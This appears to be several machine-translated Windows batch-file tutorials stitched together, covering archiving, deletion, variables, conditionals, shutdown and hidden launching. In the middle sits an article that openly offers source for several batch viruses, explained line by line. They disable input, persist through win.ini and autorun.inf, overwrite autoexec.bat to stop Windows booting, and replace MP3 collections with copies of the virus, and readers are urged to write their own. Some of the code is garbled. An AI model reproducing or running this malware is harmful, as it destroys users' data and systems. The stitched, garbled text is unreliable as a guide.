Internet Windows Android

Bat are useful. Bat files, examples

In this article we will look at such a useful thing as “ batch file" Let's first define what a bat file is. Batch or batch files are simple text files containing sets of commands ( instructions) interpreter and having the extension bat or cmd ( cmd only work in NT family OSes). You can create and edit such files using a regular notepad or any other text editor.

Now you may ask, why do you need to be able to write such bat files? And why are they needed? I'll try to explain.

Firstly, they are used to make work easier, i.e. for example, you need to constantly perform some operation every day ( for example, create an archive of certain documents), with the help of a body file, this can be automated, and you will no longer take part in it.

Secondly, these batch files are very powerful ( if, of course, you know how to write them), i.e. You can even write a good program ( I mean in terms of functionality). Personally, they help me a lot in my work, and I simply forgot about some things when I did it manually.

Now let's move directly to the basics of these batch files. How are they created? You just need to create a simple text document, open it and immediately go to the “ tab File->save as", enter instead of the extension " Text document.txt", For example " Text document.bat" and save, so we get a batch file with the .bat extension, but it doesn’t do anything yet.

To begin with, I will give an example of a batch file that I use at my work to archive documents.

"C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc "C:\Program Files\WinRAR\winrar. exe" a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls "C:\Program Files\WinRAR\winrar.exe" a -r -dh -ed -agYYYY -mm-dd E:\arhaccounts\ d:\accounts\*.txt

Now I’ll tell you a little about what this batch file does. WinRar starts, then Winrar commands follow:

  • a is to add to the archive;
  • -r - process subfolders;
  • -dh - open shared files;
  • -ed - do not add empty folders;
  • YYYY-mm-dd - add the current date to the archive name ( date format);
  • E:\arhaccounts\ - path where the final archive will be located;
  • d:\accounts\*.doc — path and mask of files that need to be archived.

In this case, we archive all Word, Excel and text files; we do not need to archive the rest. Our archiving goes to another disk, and we also copy the resulting archive to another computer, so that the archives are stored in another office. Copying takes place over the network, so the computer to which the archive is copied must be turned on. To do this you can use the following command:

Copy E:\arhaccounts\*.rar \\namecomp\arhiv\

Examples of commands for bat files

Now let's look at the basic commands that you can use.

If you need to delete a file, write the following:

Del d:\file\test.doc

To delete the entire directory, write:

Rd d:\file\

If you need to delete everything from some directory every time, then use this:

Echo Y| del d:\file\

  • del d:\file\ - this is precisely the deletion of all files;
  • echo Y| — the command confirms the deletion because If you do not enter this command, you will see a message confirming the deletion - “Continue”, and you will need to answer this question every time.

Now let's look at a more complicated example, in which the condition is already met:

@echo off "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\test.rar d:\test IF not EXIST d:\test\123.rar GOTO 1 IF EXIST d: \test\123.rar GOTO 2:2 "C:\Program Files\WinRAR\winrar.exe" x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar:1 del d:\test\test.rar end

Now I’ll explain, let’s say you need to unzip the test.rar archive, which will contain many files, but if there is a 123.rar file there, it will need to be unzipped to the root of drive C, and the rest of the files will remain untouched in the same directory.

In order, the @echo off command is needed so that nothing is reflected on the screen ( basically, if you don’t need to, you can omit writing this line). Next, we launch Winrar and unpack the test.rar archive into the test folder. Then comes the condition if in the test folder ( after unpacking test.rar) we do not have the file 123.rar, then we simply execute the batch file and go to line: 1 and then simply delete the test.rar file as it is not necessary because We have already unpacked everything we need. But if there is a file 123.rar there, then the execution of the batch file goes to line: 2, after which the file 123.rar is already unpacked to the root of drive C. In other words, we have the condition met, if there is a file, then do this, if there is no file, do this. Let’s say that if we don’t specify the condition in this example, then our batch file will give an error when we don’t have the 123.rar file in this folder.

Now let’s look at an example: let’s say you need to move files from a directory located on drive D to a flash drive every time. Each time you will have to go to my computer drive D, select the desired folder, select all the files from it and cut it, and then just go to the flash drive and paste it. With the help of a body file this is done in one click ( with one condition that each time the flash drive will be, for example, drive G or whatever you have). Here is an example of such a batch file:

Move "D:\catalog\*.doc" G:\catalognaflehe\

And all files with the doc extension that are located in the D:\catalog directory will be moved to the flash drive. Now I want to say that you can use scripts in batch files ( scripts) using Windows Scripting Host and if necessary, for example, to display a message after files have been copied ( previous example) paste this:

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js echo WSHShell.Popup("Files Copied"); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js

In fact, you can talk a lot about writing batch files and, of course, this cannot be fit into one article; here I showed only the principles that are used when writing bat files, the basis, so to speak. If you want to know more commands for writing batch files, you can easily view them by typing ( Start - Run - cmd) the help command, but, of course, there are not all the commands that can be used in batch files. Good luck writing BAT files ( body shirts).

As experience has shown, batch files, i.e. batch files are very popular among system administrators who use them for their automation purposes. And today we continue to study these same bat files; we will not consider the basics, but will move on to more advanced things.

In the first article Writing bat files - examples of batch files, we looked at simple examples of using batch files, but as it turned out, writing batch files is very interesting to almost everyone and everyone wants to learn something more complex, with which you can further simplify the automation of some processes.

Example 1 – deleting old archives

When archiving something, many people are interested in the question “ How to delete old archives as unnecessary using a batch file? " For example, they are all in one folder and you need to delete all archives that are older than 14 days. After I read the manuals and surfed the Internet, I can suggest the following method.

You can make it so that only a certain number of archives will be stored in the folder with archives, respectively the latest ones ( those. just in our case over the last 2 weeks).

This is done using two commands. The first is DIR, i.e. we simply read all the files in one folder and write their names into a text file.

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

  • dir D:\arhiv\*.rar– this means that we read all rar archives in the D:\arhiv\ folder;
  • /a:-D– this means that all files with the specified attributes will be displayed, the -D key means that we only need files, not directories, the prefix “-” just means negation, i.e. not directories, if we just wrote D, then it would read directories too;
  • /b– this is the output of file names only;
  • /o:-D– this is sorting, the –D key means that sorting will be performed by date, but first the older ones, to fix this we already know that the prefix “-” will help us;
  • > — means that the output will be redirected to the file list_of_files.txt, you can name it differently.

So we counted all our archives and wrote them into a file, then we need to go through all these files and leave only 14 pieces, i.e. over the last 2 weeks. We do this using the command FOR, it is a kind of loop that performs a specific action for each file in a folder or each line in a file, as in our case.

  • for– the team itself for the bulkhead;
  • /F "skip=13"– this is a key with a parameter that means that the first 13 files do not need to be processed, i.e. we skip them. Why 13 and not 14 yes because 14 archive ( those. today's, which should be created when executing this batch file) has not yet been created, therefore 13;
  • %%i– a variable that stores the name of the current file;
  • In (list_of_files.txt)– means that iterate over all lines in this particular file;
  • do (del /Q "%%i")- says what needs to be done with each one, in our case we simply delete these files using the del /Q key /Q, so that we are not asked for confirmation before deleting. For tests, I advise replacing del /Q with echo, i.e. just display those files.

In total, we got this batch file:

dir D:\arhiv\*.rar /a:-D/b/o:-D > list_of_files.txt

for /F “skip=13” %%i in (list_of_files.txt) do (del /Q “%%i”)

Accordingly, after these lines you can write the archiving code itself, and in the end we will get that only 14 archives will be stored in our folder, of course, the most recent ones.

Example 2 - Using Variables

You can even use variables in batch files, just like in a real programming language. Let's consider the simplest example of using variables, for example, we want to multiply by 2 the number that we enter into the field when running the batch file.

@echo off

SET /a c=%a%*%b%

echo %c%

As you understand, variables are set using the SET command. In order to use the variable in the future, we insert a percent sign (%) on both sides of the variable so that the command line understands that this is a variable.

  • @echo off– so that our commands are not displayed on the screen;
  • SET a=2– we simply set the variable “a” to a value;
  • SET /p b=[enter second number to multiply]– we set the variable “b” to the value that we enter into the field, so that the batch worker understands that we want to enter the value of the variable ourselves, the /p key is used;
  • SET /a c=%a%*%b%— we set the variable “c” to the result of our expression ( in our example this is multiplication);
  • echo %c%— display the value of the variable “c”;
  • pause- we simply pause the execution of our bat file in order to simply see all the results.

By the way, in order for Russian letters to be displayed normally on the command line, save the bat file in DOS-866 encoding.

We've sorted out the variables, now let's apply this to our first example, let's say we want to leave not 14 archives, but the number that we want, for this, when you launch the batch file, we will enter the number of archives that need to be saved. It will look something like this:

@echo off

dir D:\test\*.rar /a:-D/b/o:-D > list_of_files.txt

for /F “skip=%chislo%” %%i in (list_of_files.txt) do (del /Q “%%i”)

Well, something like this, of course, in practice this may not be needed, but at least we learned how to use variables.

About variables, I also want to say that there are such system variables as:

%DATE%— shows the current date.

%TIME%— shows the current time.

For example, run the following code:

echo %DATE%

echo %time:~0,-3%

I wrote the %TIME% variable in exactly this way, in order for the result to be displayed in a more readable form, try writing %TIME% and % TIME:~0.-3% for you, in the second case the last 3 characters will be removed.

In fact, there are more system variables; these may just be required more often than others.

Example 3 – IF Conditional Execution Statement

As in other full-fledged languages, you can use the IF conditional execution operator in batch files. Let's give a small example, the batch file simply checks whether the file exists or not:

@echo off

IF EXIST test.txt (

echo File exists

echo There is no such file

IF EXIST test.txt– this is exactly where the file is checked.

After, in parentheses, comes what we want to do if the file exists, and if the file does not exist, then after ELSE, comes what needs to be done if the file does not exist.

Now let’s slightly modify our example with multiplying the number we entered by 2, simply, if we suddenly enter zero, we will display the corresponding message and ask you to enter the number again.

@echo off

SET /p b=[enter second number to multiply]

SET /a c=%a%*%b%

if %c%==0 (echo you entered the number 0, enter another) else echo %c%

if %c%==0 (goto:metka)

Everything here is already familiar, the only thing is that when comparing the variable “c” the comparison operator == ( two equals), because simply equal (=) is an assignment operator. If you noticed, I used the goto operator here, i.e. move to the desired label. In other words, we put a label and, depending on the result of checking the condition, the transition to the desired label will be carried out.

Now I would like to note that many people use the winrar program in their work, for example, to create an archive, and, of course, use it in their batch files, but many ask questions about the keys that relate to winrar. Don't confuse the winrar keys, they are used only for this program, and not for everything that is in the batch files, i.e. command line, for example, if you use 7zip, then the keys will be different. As for winrar keys, the complete and best reference book, in my opinion, is, of course, in winrare itself. To view a description of winrar keys, open the winrar program, go to the Help menu, then click " Content", and then select the line " Command line mode", where there will be a description of all the keys, even simple examples are given. Accordingly, if you have the English version of winrar, then the meaning is the same, only everything will be in English.

This concludes our second part of studying batch files. Good luck!

Hello again, young coder-shkoder. If you read my last article entitled “Learning DOS,” then there will be nothing complicated for you here. And if you haven’t read it, then carefully look at the comments. So, let's begin. One day I was sitting and thinking: shouldn’t I get a virus? And since I didn’t know anything except QBarsik, and DOS was my second... [Brother], what did you think, pervert? :)~. THEN I decided to write a virus on it, and it turned out to be not so difficult.

Here is the body of my first virus

@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER

deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ​​ARE LAMMER...xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Your computer is infected with a virus, and you can't get rid of it, hehehehe"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js

pause
cls

I’ll explain it popularly and step by step:

1 @echo off - We prohibit the DOS window from showing what the script is doing.
2 rundll32 keyboard,disable - Disable the keyboard, in case the user understands what is happening and decides to press CTRL+C
3 rundll32 mouse,disable - Disable the mouse too, just in case.
4 copy %0 %windir%/system - Copy to the windows/system folder
// %0 - Variable pointing to the original virus file
// %windir% - variable Masday folder.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini - Adds the text "run=%windir%/system/*.bat" to the win.ini file
6 echo run=%windir%/system/*.bat >> %windir%\system.ini - Adds the text "run=%windir%/system/*.bat" to the system.ini file
7 label LOHOLAMMER - Changes the name of the c:\ drive to "LOHOLAMMER"
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r - Check if there is a file c:\autoexec.bat then remove it
//it has attributes -h -s -a -r
9 deltree /y c:\autoexec.bat - Delete the file c:\autoexec.bat, if you do not remove the attributes, the program will not delete the file.
10 echo autoexec.bat echo YOU ​​ARE LAMMER...xe-xe-xe > c:\autoexec.bat - Add text "YOU ARE LAMMER...xe-xe-xe"
//to a new file autoexec.bat
11 rundll32 mouse,enable - Turn it on, let it think that nothing happened.
12 rundll32 keyboard,enable - Turn it on, let it think that nothing happened.
13 echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Your computer is infected with a virus, and you can't get rid of it, hehehehe"); >> %temp%\mes.js
start %temp%\mes.js. //This text displays a mask window with the inscription
deltree /y %temp%\mes.js //And then erases traces of itself.
14 attrib c:\autoexec.bat +h +s +a +r - Makes the file c:\autoexec.bat hidden and system file so that the lamer does not suspect anything.
15 pause - Please press any key (It is not necessary to press because the vir has already done its job.)
16 cls - Let's go out

This program, the next time you reboot, will not allow Windows to boot and will write “You are a lamer.” .Works only in Windows up to 2000.

@echo off
rundll32 user,setcursorpos //Remove the cursor from the screen to the left corner
rundll32 keyboard,disable //Previously
rundll32 mouse,disable //Previously
rundll32 user,swapmousebutton. //Here we rearrange the mouse buttons
echo Updating system parameters, please wait... //writes an excuse :)
label mp_k //Change the disk name
copy mp_k.exe %windir% //Copies itself to the windows folder
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER....=[_H@CKED_BY_*_"SmallPox_Vir_Org"_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo > c:\autorun.inf //These operations are in the previous virus.
echo open=c:\autoexec.bat > c:\autorun.inf
echo > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,.. Now you need to reboot"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Delete the temp folder
mkdir %windir%\temp //Create the temp folder
cls

And now, something new.

@echo off
cls
echo Please wait, updating system...
ctty nul. //This is a new command, it disables text output in the window.
exist %WINDIR%\SYSTEM\VMM32\%0 goto:end //If the vir has already been launched, then let it launch itself again.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Go to another directory
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a // Replace all mp3 files in this folder with your text
CD My Music

cd My_Music
//Replace all mp3 files in this folder with your text
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Replace everything in this folder mp3 files with your own text
CD Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Replace everything in this folder mp3 files with your own text
CD Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Replace everything in this folder mp3 files with your own text
cd Mouzon
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Replace everything in this folder mp3 files with your own text
CD MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Replace everything in this folder mp3 files with your own text
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Replace everything in this folder mp3 files with your own text
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
CD My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //The same thing here.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
CD Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
CD Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Mouzon
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
CD MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Label
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Start in minimized mode
ctty con //Enable permission to display text in the window
echo Say goodbye your MP3 collection:)) Virus //Farewell lines
cls //Exit.

ctty nul //It happened like this
REM Chey† Ђь@uoњPSQRVW
?
‹tЌ
"Q_ь№ у¦u=
є №є њъ.я?ђ l,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // This technology is taken from another virus.
b.com. // These scribbles intercept currently working files and destroy them.
del b.com. /// This is the text of ACM compiled into exe
rem_^ZY >
echo open=c:\autoexec.bat >> c:\autorun.inf //And if it is there, infect it.
if exist d:\io.sys //Checking for disk availability
echo >
echo open=c:\autoexec.bat >> d:\autorun.inf //And if it is there, infect it.
if exist e:\io.sys //Checking for disk availability
echo >
echo open=c:\autoexec.bat >> e:\autorun.inf //And if it is there, infect it.
:end //Mark CM beginning.
cls //Exit

What types of viruses are there? And virus writers do everything they can to achieve the desired result. After reading this document, you will be able to confidently write a BAT virus yourself, even better than mine ;). Well, good luck to you in writing the virus, and I’ll deviate and go drink beer%-).

The articles are written solely to study the algorithms of viruses and methods of combating them. The virus algorithms were identified by decompiling viruses found on the Internet and on the Kaspersky Lab website.

The use of a graphical interface in operating systems today seems to be something taken for granted and completely natural, but this was not always the case. The first operating system, MS DOS, developed by Microsoft, did not have a GUI, and was controlled by entering text commands. Almost 40 years have passed since then, but the command line scripting language is still popular, and not only among developers.

The command line is not so convenient, but with its help you can perform operations that are not possible from the GUI. On the other hand, launching the console every time, entering commands into it one after another - all this greatly slows down the work. However, you can significantly simplify the task by creating a bat file or simply a batch file - a text file with the BAT extension containing a list of instructions processed by the CMD command interpreter. Such files are used to automate various tasks, for example, to delete temporary files on a schedule or launch programs.

How to create a file with a BAT extension

So, how to create a bat file in Windows 7/10? Very simple. To do this, you will need any text editor and knowledge of the basics of the command line. You can use Notepad, or even better, Notepad++, since the latter has syntax highlighting. Create a new file in the editor, select “Save As” from the “File” menu, give the future script a name, and select “Batch file (*bat; *cmd; *nt)” in the “File type” drop-down list.

If you want to use Notepad to create a bat file, you need to assign the extension manually, and select “All files” in the “File type” list.

As you can see, creating a file with the bat extension is not difficult; however, there are some subtleties here. Line breaks cannot be used in command files; the encoding of the bat file must be set to UTF-8; if the body of the script uses Cyrillic, the encoding must be changed by inserting the chcp 1251 command in the appropriate place.

Instead of the BAT extension, you can use CMD, the result of executing the script will be exactly the same.

Basic commands, syntax and examples of using batch files

You know how to make a bat file, now it’s time for the most interesting part, namely the syntax of the CMD interpreter language. It is clear that an empty batch file will not work, it will not even launch when you double-click on it. For the script to work, at least one command must be written in it. For a visual example, let's see how to write a bat file to launch programs. Let's say that when you start working, you launch three programs every time - Chrome, Firefox and VLC. Let's simplify the task by creating a script that will launch these programs itself at intervals of five seconds.

Open an empty batch file and paste the following commands into it:

Start "" "C:/Program Files/Google/Chrome/Application/chrome.exe" timeout /t 05 start "" "C:/Program Files/Mozilla Firefox/firefox.exe" timeout /t 05 start "" "C :/Program Files/VideoLAN/VLC/vlc.exe"

Team start launches the executable file of the desired program, and the command timeout/t sets the interval between starts. Pay attention to the placement of the quotes - they contain paths that contain spaces. Also, if there are Cyrillic characters in the path, you should insert a command that changes the encoding at the beginning of the script chcp 1251, otherwise the interpreter will not be able to read the path correctly.

When you run the script, four console windows will be opened sequentially; this is normal; after executing the commands, they will all automatically close, however, you can make sure that only the first window opens. To do this, the application launch code should be changed as follows:

Start /b "" "path"

It may also happen that at some point it will be necessary to pause the execution of the script so that the user can decide whether to execute all other commands or not. There is a command for this pause. Try replacing timeout with it and see what happens.

Start /b "" "path" pause

Let's look at another example of commands for a bat file. Let's write a script that will turn off the computer in one case, and restart it in another. For these purposes we will use the command shutdown with parameters /s, /r And /t. If you wish, you can add a request to perform an action to your body file, like this:

@echo off chcp 1251 echo "Are you sure you want to turn off your computer?" pause shutdown /s /t 0

Let's explain. The first command hides the text of the commands themselves, the second - sets the Cyrillic encoding, the third - displays a message for the user, the fourth - sets a pause, the fifth - turns off, and with the key /r instead of /s reboots your computer without the traditional one-minute delay. If you don’t want to stand on ceremony with requests and pauses, you can leave only the fifth command.

If instead of Russian text when executing the command you see kryakozyabra, try converting the script file to ANSI.

What else can you do with scripts? A lot of things, for example, deleting, copying or moving files. Let's say you have a certain data folder in the root of drive D, the contents of which need to be cleared in one fell swoop. Open the batch file and paste the following command into it:

Del /A /F /Q "D:/data"

Or you can do this:

Forfiles /p "D:/data" /s /m *.* /c "cmd /c Del @path"

Unlike the first, the second command deletes files recursively, that is, all files in the data folder will be deleted plus those located in subdirectories.

Here's another useful example. Let's write a script that will create a backup copy of the contents of one folder and save the data to another. The command is responsible for copying robocopy:

Robocopy C:/data D:/backup /e pause

By running such a batch file for execution, you will copy the entire contents of the data folder to the backup folder, including subdirectories, empty and with files. By the way, the robocopy command has many parameters that allow you to configure copy parameters very flexibly.

Run bat files as administrator and on a schedule, hidden bat launch

Now you know how to create batch files and have some general understanding of the CMD interpreter language. These were the basics, now it's time to get acquainted with some useful features of working with bat files. It is known that programs require administrator rights to perform some actions. Batniks may also need them. The most obvious way to run a script as an administrator is to right-click on it and select the appropriate option from the context menu.

In addition, you can make sure that a specific batch file will always be launched with elevated privileges. To do this, you need to create a regular shortcut to such a script, open its properties, click the “Advanced” button and check the “Run as administrator” checkbox in the window that opens. This method is also good because it allows you to select any icon for the shortcut, while a file with a BAT or CMD extension will always have a nondescript appearance.

Scripts, like all applications, can be launched on a schedule. Team timeout/t is not entirely appropriate here; for delayed launch, it is best to use the built-in Windows Task Scheduler. Everything is simple here. Open with the command taskschd.msc Scheduler, decide on the trigger, select the action “Run program” and specify the path to the bat file. That's all, the script will be launched at the scheduled time.

And finally, one more interesting point. When you run a bat file, a command line window appears on the screen, even if only for a fraction of a second. Is it possible to make the script run in hidden mode? It is possible, and in several ways. The simplest one is as follows. Create a shortcut for the bat file, open its properties and select “Collapsed to icon” from the “Window” menu. After this, the only visible sign of the script running will be the appearance of the CMD icon on the taskbar, but no windows will open.

If you want to completely hide the execution of the script, you can use a “crutch” - the VBS script, which will launch your batch file in hidden mode. The script text is below, save it to a file hidden.vbs, having previously replaced the path in the second line of code D:/script.bat path to your body file.

Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Set WshShell = Nothing

There are also other options, for example, using the utility Hidden Start, which allows you to run executable and batch files in hidden mode, including without an invitation.

And that's all for now. Information regarding creating BAT scripts can be easily found on the Internet. It's also a good idea to check out William Stanek's Microsoft Windows Command Line tutorial. Despite the fact that more than ten years have passed since the publication of the book, the information contained in it is still relevant.

To open the command line in the desired location (in a folder with files, for example), you need to call the context menu (RMB) while holding down the Shift key:

About how to work with the command line you. Let's go directly to the commands.

A list of all console commands with descriptions can be obtained by typing help in the console
Help for any command can be obtained using the /? key.
For example: DIR /? will display help for all DIR command options

Delete temporary files before turning off your computer

I think everyone has at least experienced them personally. The bat file will help you shut down your computer correctly by deleting temporary files, the folder in which the virus is usually downloaded.

The next time the device boots (at an early stage), the virus makes entries in the registry, disrupting the normal operation of the system. And when the desktop loads, the situation is more difficult to correct.

Of course, not all viruses work according to this scheme, but nevertheless, clearing temporary files and the system cache before shutting it down significantly reduces such risks.

start /wait "" "C:\Program Files\CCleaner\CCleaner64.exe" /auto start /wait "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10

CCleaner is not available by default on Windows. It needs to be installed separately. You can download the installer from the developer's website.

The CCleaner program launches first and deletes all temporary files on the computer. Then the computer shutdown program starts with a delay of 15 seconds to avoid possible conflicts with CCleaner.

It is necessary to copy this example into it. Place a shortcut to the bat file on the desktop, assign it a beautiful icon and turn off the computer using this shortcut button.

Get a list of files in a folder using a Bat file

I periodically use bat files to obtain lists of files in folders. A common situation: at work, clients send an archive of photographs from the photographer. The photographs are named according to the product articles.

There is no text information accompanying the photographs. You need to make a list based on the photos sent and import it into the product catalog on the website. Several photos were taken for each product. They are named like this:

  1. Photo of product with article number A1234 (2).jpg
  2. Photo of product with article B1234 (2).jpg

First I get a list of all the files in a folder using the following command:

dir *.jpg /B /L > filelist.txt

The *.jpg command will allow you to take into account only JPG files when compiling the list. The /B key will allow you to get a list containing only the names of files located in the folder. The /L switch will display all names in lowercase. The >filelist.txt command will create a text file called filelist and write the result there.

The next step is to get rid of duplicates so that there is only one entry for each product in the list:

type filelist.txt | findstr /I /V "(2 )" > temp.txt

The findstr command will search the previously retrieved file. The /I switch allows you to search for records in a case-insensitive manner, and the /V switch records lines that do not contain the match you are looking for. The quotes indicate the string to be matched. And the last command > temp.txt will write to the temp file all results that do not contain "(2)" in the name. As a result I will get:

  1. Photo of product with article number A1234.jpg
  2. Photo of product with article B1234.jpg

If you need to perform the opposite operation - output only matches to the temp.txt file, then you will not find the one you need in the list of commands (findstr /?). There is only a reverse exact match filter - /X .

For this task, you can use the command to display the line numbers /N in which there are matches (the numbers are displayed along with the line):

type filelist.txt | findstr /I /N "(2 )" > temp.txt

The main thing when working with text information (text files) is to remember one thing:

If for text operations you use a file as a source that was not created via the command line, it must be in an encoding that is understood by the command line. For example, CP1251 (ANSI).

Otherwise, you risk getting something like this:

Copy directory tree without files

When I start making new projects, there is a need to get a directory tree similar to the old project one with the difference that there should be no files in it. For a new project, it is easier to add 3-5 files to the necessary empty folders than to copy an existing project and then delete what is unnecessary from there.

Get directory tree without files can be done using the following command:

xcopy folder_1 folder_2 /T /E

The xcopy command takes the directory tree at folder_1 as its base and creates a copy of it in folder_2. The /T switch allows you to copy directories without copying the files in them. The /E switch specifies that all directories must be copied, incl. empty.

The best way to obtain a directory tree is to open a command line in the parent folder of the donor directory and in the same folder create a directory in which the copied tree will be placed. In this case, the command will only need to specify the names of the donor folder and the destination folder (as in the example above).